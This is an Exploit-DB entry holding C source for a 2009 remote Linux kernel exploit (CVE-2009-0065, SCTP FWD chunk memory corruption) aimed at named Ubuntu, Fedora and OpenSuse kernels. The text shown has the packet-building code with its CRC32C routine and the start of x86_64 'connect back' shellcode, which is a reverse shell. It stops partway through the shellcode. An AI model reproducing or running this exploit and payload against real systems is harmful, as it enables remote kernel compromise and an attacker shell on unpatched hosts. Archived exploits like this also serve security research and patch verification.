Exploit-DB #8556
Description: Linux Kernel 2.6.20/2.6.24/2.6.27_7-10 (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse 11.1) - SCTP FWD Memory Corruption Remote Overflow
Type: remote
Platform: linux
Date: 2009-04-28
Author: sgrakkyu

Exploit:
/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption 
 * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit 
 *
 * coded by: sgrakkyu <at> antifork.org
 * http://kernelbof.blogspot.com
 *
 *
 * NOTE: you need at least one sctp application bound on the target box 
 *
 * Supported target:
 * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server)
 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
 * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server)
 * Fedora Core 10 x86_64 (default installed kernel)
 * OpenSuse 11.1 x86_64  (default installed kernel) 
 */




#define _GNU_SOURCE

#include <signal.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/sctp.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/select.h>
#include <stdint.h>

#define __OFFSET_PORT_64 62 // 92
#define __OFFSET_HOST_64 64 // 94

//#define __TARGET_SPORT 20000


#ifndef __u8
#define __u8 uint8_t
#endif

#ifndef __u16
#define __u16 uint16_t
#endif

#ifndef __u32
#define __u32 uint32_t
#endif



/* start crc routines: ripped from wireshark sources */
#define SP_LEN 2
#define DP_LEN 2
#define VTAG_LEN 4
#define CHK_LEN 4
#define HEADER_LEN    (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) 


#define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF])
static int32_t crc_c[256] =
{
0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
};

static __u32 sctp_crc32c(const unsigned char* buf, __u32 len)
{
  __u32 i;
  __u32 crc32 = ~0U;
  __u32 r;
  unsigned char b0,b1,b2,b3;

  for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
  {
    CRC32C(crc32, buf[i]);
  }
  CRC32C(crc32, 0);
  CRC32C(crc32, 0);
  CRC32C(crc32, 0);
  CRC32C(crc32, 0);
  for (i = HEADER_LEN; i < len; i++)
  {
    CRC32C(crc32, buf[i]);
  }
  r = ~crc32;

  b0 = r & 0xff;
  b1 = (r>>8) & 0xff;
  b2 = (r>>16) & 0xff;
  b3 = (r>>24) & 0xff;
  crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
  return ( crc32 );
}
/* end crc routines */

static char generic_x86_64_shellcode[] = 
// prolog 
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb"
"\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80"
"\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0"
"\xb0\x60\x0f\x05\xc3"          
// connect back 
"\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58"                           
"\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f"
"\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"                 
"\x58\x0f\x05\x48\x31\xdb\x48\x39\